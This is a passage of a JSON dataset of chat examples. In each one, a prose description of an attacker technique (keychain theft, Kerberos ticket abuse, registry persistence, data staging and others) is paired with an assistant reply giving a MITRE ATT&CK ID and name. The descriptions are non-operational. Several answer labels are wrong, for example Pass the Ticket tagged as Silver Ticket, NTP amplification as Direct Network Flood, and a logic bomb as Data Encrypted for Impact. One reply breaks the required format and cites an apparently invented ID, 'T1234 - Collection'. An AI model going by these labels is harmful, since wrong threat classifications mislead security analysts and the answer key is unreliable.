                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An iOS app with improper entitlements reads the keychain to steal stored social media authentication tokens."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used \"docker exec -it\" to open an interactive shell inside a running container and then installed a cryptominer."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses a compromised service account to perform recursive folder listings on SharePoint and exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider copies confidential financial spreadsheets onto a USB drive hidden in a desk drawer."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping allows the threat group to log in with admin accounts to perform lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a compromised installer package that automatically executes malicious code during the Windows Installer setup routine."
            },
            {
                "role": "assistant",
                "content": "T1546.016 - Event Triggered Execution: Installer Packages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a PowerShell command to list all values under HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploit vulnerabilities in virtualization software to escape from virtual environments"
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor plants a hidden DLL that is loaded by a legitimate program only when the program accesses a particular registry key, thereby executing malicious code via a trap."
            },
            {
                "role": "assistant",
                "content": "T1546.005 - Event Triggered Execution: Trap"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat implants a module that records GUI input events, including mouse movement and clicks, for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor removed residual network share connections and cleared related event logs to cover tracks."
            },
            {
                "role": "assistant",
                "content": "T1070.005 - Indicator Removal: Network Share Connection Removal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider used valid Google Cloud credentials to spin up extra Kubernetes Engine nodes, increasing the attack surface for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1578.002 - Modify Cloud Compute Infrastructure: Create Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries often configure their command‑and‑control traffic to use uncommon ports, such as 8088 or 31337, to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a custom keylogger that operates at the Win32 API level, capturing GUI input events from all running applications."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a hidden scheduled task that runs with SYSTEM privileges."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A sophisticated malware keylogger records the user’s MFA token entered via a hardware token, allowing the attacker to replicate the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware module reads the contents of the user's temporary internet files and compiles them into a tarball."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data\nT1560.001 - Archive Collected Data: Archive via Utility\nT1234 - Collection\n\nCorrecting based on instructions:\n\nThe best fit for the described activity — compiling collected data (temporary internet files) into a tarball — is:\n\nT1560.001 - Archive Collected Data: Archive via Utility"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware creates a custom VPN over HTTP to obscure command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan embeds a VBA macro that runs on Office application launch to confirm the environment is compromised."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor writes code that verifies the host's time zone and refrains from executing if it detects common sandbox time settings."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Trojan stores harvested screenshots in a hidden directory before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script enumerates Windows registry keys to find saved RDP credentials in clear text and uploads them."
            },
            {
                "role": "assistant",
                "content": "T1552 - Unsecured Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary registers a WMI event subscription that launches a PowerShell script whenever a new process is created."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses HTTP POST to submit exfiltrated credentials to an attacker-controlled web endpoint."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension captures webmail credentials, allowing the attacker to log into the victim’s email."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool issued \"reg add\" commands through the command shell to modify registry keys for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploited an outdated OpenSSH version on a Linux server to gain unauthorized shell access."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs reg.exe to export the HKLM\\SAM registry hive, then parses the data to obtain NTLM hash values."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the XDG Autostart mechanism by placing a malicious .desktop file in the user's autostart folder for automatic execution upon login."
            },
            {
                "role": "assistant",
                "content": "T1547.013 - Boot or Logon Autostart Execution: XDG Autostart Entries"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a malicious browser extension, the adversary captures session cookies for a cloud service and replays them to maintain authorized access."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised system sends forged security alerts to the central logging server to mislead incident response."
            },
            {
                "role": "assistant",
                "content": "T1562.011 - Impair Defenses: Spoof Security Alerting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An actor runs a combination of banner grabbing and version detection to identify vulnerable Apache servers."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker triggers a DLL using rundll32.exe to execute arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An iOS backdoor accesses securityd's cached credentials directly from memory."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code encrypts backup files stored on external drives to ensure the victim cannot restore data."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker corrupts the threat intelligence feed used by the detection system, causing known bad indicators to be ignored."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary scrapes a restricted patent database that requires paid access to uncover upcoming patent applications filed by the target organization."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys an Emond watch that monitors for the creation of a scheduled task with a particular name and executes a ransomware payload in response."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Microsoft 365 admin portal with hijacked admin accounts to export mailbox data through the Compliance Search feature."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute a logic bomb that triggers destructive actions on a specific date."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a document triggers a command that calls \"net user\" with the \"/domain\" flag to add an account."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group uses a hidden partition on a USB stick to exfiltrate data from a highly classified system."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involved dumping the configuration files from a Palo Alto firewall using the CLI 'export configuration' command."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a Kerberos ticket forging (Pass the Ticket) using a stolen TGT."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a malicious advertising network, the attacker injects code that intercepts and uploads browser session cookies to obtain unauthorized access to victim accounts."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a systemd service file to /lib/systemd/system/ and reloads the daemon to load the malicious service."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employed a malicious macro to upload a network scanning utility to the victim's C:\\ProgramData directory."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware leverages the Netsh helper DLL mechanism to execute arbitrary code during routine network configuration changes, using the helper DLL as a silent execution vector."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leveraged a stolen code‑signing certificate to sign and execute additional malicious modules on the target."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed the 'shred' utility on Linux to overwrite each file multiple times before deletion."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious DLL is executed via InstallUtil.exe with the /LogToConsole switch to hide its activity."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat group leverages compromised credentials to add a new cloud user with S3 read/write access."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs data hiding to conceal malicious files or data on compromised systems."
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operator buys a set of cryptocurrency wallets to fund illicit operations."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromised a software vendor's build server and extracted a valid code signing certificate to sign malicious binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool performs APC injection by scheduling malicious code on a remote thread's APC queue."
            },
            {
                "role": "assistant",
                "content": "T1055.004 - Process Injection: Asynchronous Procedure Call"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool was observed dumping Kerberos tickets from LSASS and using them to authenticate to a remote SQL server."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches public WHOIS records to enumerate domain registrants and associated infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a staging directory on the compromised host and moves sensitive logs there before uploading them."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operators leveraged a compromised developer's Microsoft Authenticode certificate to sign a trojanized version of a popular utility."
            },
            {
                "role": "assistant",
                "content": "T1587.002 - Develop Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Python's wmi module, the attacker lists local group objects on the endpoint."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker extracts a Kerberos ticket-granting ticket (TGT) from a compromised system's memory and reuses it to access network resources without needing the user’s password."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary creates a new Registry Run key under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to execute its payload on user logon."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a Visual Basic interpreter to read and execute commands from a remote command and control server."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool extracts installed software data from the \"Programs and Features\" Control Panel via WMI."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary installs a kernel-level rootkit to hide malicious processes and files."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers used a custom HTTP-based protocol over port 80 to exfiltrate files from the compromised host to their command server."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages the AppInit_DLLs registry key to load a malicious DLL into all user processes."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor configures socket filters to intercept and reroute traffic, effectively creating a hidden backchannel for command execution."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a ZeroLogon exploit to gain domain admin rights and then used the GPMC to modify the \"Password Policy\" to set a weak password complexity requirement."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the adversary creates a hidden systemd timer that silently executes a keylogger every hour."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script executes the PowerShell cmdlet Clear-History to remove all previously entered commands from the session."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Payload execution is disguised by creating an invisible top‑level window using the WS_EX_TRANSPARENT extended style."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a reflective NTP amplification attack, causing the victim to receive a flood of large NTP responses, leading to network congestion."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware compresses the data and sends the archive to a malicious FTP server."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor checks for the availability of its primary C2 and, upon failure, switches to a covert FTP server for instructions."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
